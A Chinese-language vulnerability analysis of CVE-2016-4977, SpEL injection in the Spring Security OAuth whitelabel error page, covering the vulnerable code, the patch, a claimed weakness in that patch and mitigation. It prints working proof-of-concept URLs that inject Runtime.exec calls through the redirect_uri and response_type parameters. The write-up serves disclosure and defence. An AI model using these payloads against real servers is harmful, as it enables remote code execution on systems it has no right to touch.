CVE-2016-4977: RCE in Spring Security Oauth漏洞分析

受影响的版本

背景

几个月前,我对一个使用Spring Security OAuth框架进行授权的Web应用程序进行了测试。在我的研究中,我发现了一些问题,包括远程代码执行漏洞。

该Web应用程序使用了广泛适用的框架Spring Security OAuth实现。人们会默认这是安全的,但事实上并不是。然后我发现有几个著名的网站也实施了易受攻击的代码。

Spring Boot Demo  (maven)

如果你想自己验证自己的网站是否存在问题,你下载spring boot demo应用程序作为maven项目:http://secalert.net/research/cve-2016-4977.zip

通常人们会通过一个合法的请求来运行demo程序:

e90a

一切正常。 然后我开始寻找常见的问题,如XSS:

ac7b

这导致了一个错误,显示:”Whitelabel Error Page”。令人惊讶的是许多知名的网站仍然使用whitelabel错误页面,而不是配置自定义的错误页面。Spring Security OAuth的例子默认情况下发生错误时会显示”Whitelabel Error Page”。Whitelabel视图反映了部分给定的参数值,这导致了XSS。在黑盒测试中发现XSS之后,我并没有马上报告这个问题,而是查看了源代码以确定存在漏洞的代码。在审查源代码时,我意识到有一个更危险的问题存在。

Error Handling调用SpelView

查看源代码:

Source code: https://github.com/spring-projects/spring-boot/blob/master/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java Lines 137-148: private final SpelView defaultErrorView = new SpelView(" Whitelabel Error Page "+ " This application has no explicit mapping for /error, so you are seeing this as a fallback. "+ " ${timestamp} " + " There was an unexpected error (type=${error}, status=${status}). " + " ${message} "); @Bean(name = "error") @ConditionalOnMissingBean(name = "error") public View defaultErrorView() { return this.defaultErrorView; }

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

Source code: https://github.com/spring-projects/spring-boot/blob/master/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java

Lines 137-148:

private final SpelView defaultErrorView = new SpelView("

Whitelabel Error Page

 

"+ "

This application has no explicit mapping for /error, so you are seeing this as a fallback.

 

"+ "

${timestamp}

"

+ "

There was an unexpected error (type=${error}, status=${status}).

"

+ "

${message}

");

@Bean(name = "error")

@ConditionalOnMissingBean(name = "error")

public View defaultErrorView() {

    return this.defaultErrorView;

}

用户提供的值传递给”org.springframework.security.oauth2.provider.endpoint.SpelView” 类,该类使用”oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java”中的SpelExpressionParser。

Source code: /spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java ... import org.springframework.expression.spel.standard.SpelExpressionParser; ... private final SpelExpressionParser parser = new SpelExpressionParser(); private final StandardEvaluationContext context = new StandardEvaluationContext(); ... this.helper = new PropertyPlaceholderHelper("${", "}"); ... Expression expression = parser.parseExpression(name); ...

Source code: /spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java

...

import org.springframework.expression.spel.standard.SpelExpressionParser;

...

private final SpelExpressionParser parser = new SpelExpressionParser();

private final StandardEvaluationContext context = new StandardEvaluationContext();

...

this.helper = new PropertyPlaceholderHelper("${", "}");

...

Expression expression = parser.parseExpression(name); ...

这非常有趣,Spring表达式语言(单击此处查看详细信息)是spring用于注释中的配置和代码位置的语法。为了检查该参数是否也易受Spring表达式语言注入,我通过以下来测试:

http://localhost:8080/oauth/authorize? response_type=token&client_id=secalert&scope=openid&redirect_uri=${777-111}

http://localhost:8080/oauth/authorize?

response_type=token&client_id=secalert&scope=openid&redirect_uri=${777-111}

响应消息显示“666”,这意味着POC代码已经进行了评估!

RCE利用

http://localhost:8080/oauth/authorize?response_type=token&client_id=secalert&scope=openid &redirect_uri=${T(java.lang.Runtime).getRuntime().exec("ls")}

http://localhost:8080/oauth/authorize?response_type=token&client_id=secalert&scope=openid

&redirect_uri=${T(java.lang.Runtime).getRuntime().exec("ls")}

http://localhost:8080/oauth/authorize? response_type=calc.exe${T%28java.lang.Runtime%29.getRuntime%28%29.exec%28toString%28%29.substring%28112,120%29%29}&client_id=secalert&scope=openid&redirect_uri=http://test

http://localhost:8080/oauth/authorize?

response_type=calc.exe${T%28java.lang.Runtime%29.getRuntime%28%29.exec%28toString%28%29.substring%28112,120%29%29}&client_id=secalert&scope=openid&redirect_uri=http://test

修补程序

维护者发布了一个修补程序:https://pivotal.io/de/security/cve-2016-4977

在修补程序中的竞争条件可能被利用

如果一个人审查应用的错误修复(https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d),可以得出结论,这个修复看起来是一种局部的修复。他们尝试通过使用“org.springframework.security.oauth2.common.util.RandomValueStringGenerator”类替换”{” 前缀来阻止whitelabel视图中的递归占位符。

Source code: "https://github.com/spring-projects/spring-security-oauth/blob/master/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java": ... public SpelView(String template) { this.template = template; this.prefix = new RandomValueStringGenerator().generate() + "{"; this.context.addPropertyAccessor(new MapAccessor()); this.resolver = new PlaceholderResolver() { public String resolvePlaceholder(String name) { Expression expression = parser.parseExpression(name); Object value = expression.getValue(context); return value == null ? null : value.toString(); } }; } ... String maskedTemplate = template.replace("${", prefix); PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}"); String result = helper.replacePlaceholders(maskedTemplate, resolver); result = result.replace(prefix, "${");

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

Source code: "https://github.com/spring-projects/spring-security-oauth/blob/master/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java":

...

public SpelView(String template) {

        this.template = template;

        this.prefix = new RandomValueStringGenerator().generate() + "{";

        this.context.addPropertyAccessor(new MapAccessor());

        this.resolver = new PlaceholderResolver() {

            public String resolvePlaceholder(String name) {

                Expression expression = parser.parseExpression(name);

                Object value = expression.getValue(context);

                return value == null ? null : value.toString();

            }

        };

    }

    ...

        String maskedTemplate = template.replace("${", prefix);

        PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}");

        String result = helper.replacePlaceholders(maskedTemplate, resolver);

        result = result.replace(prefix, "${");

这看起来像一个快速的解决方案,但如果攻击者提出足够的请求,但由于竞争条件RCE仍然可以被利用,因为RandomValueStringGenerator(API docs)类生成一个默认长度(6)的字符串。

禁用环境中的Whitelabel错误页

作为网络开发人员或网络管理员,您应该考虑停用whitelabel错误页面使用一个通用的文本自定义错误页。请参考点“77.2自定义的whitelabel错误页:http://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html

timeline

未经允许不得转载:MottoIN » CVE-2016-4977: RCE in Spring Security Oauth漏洞分析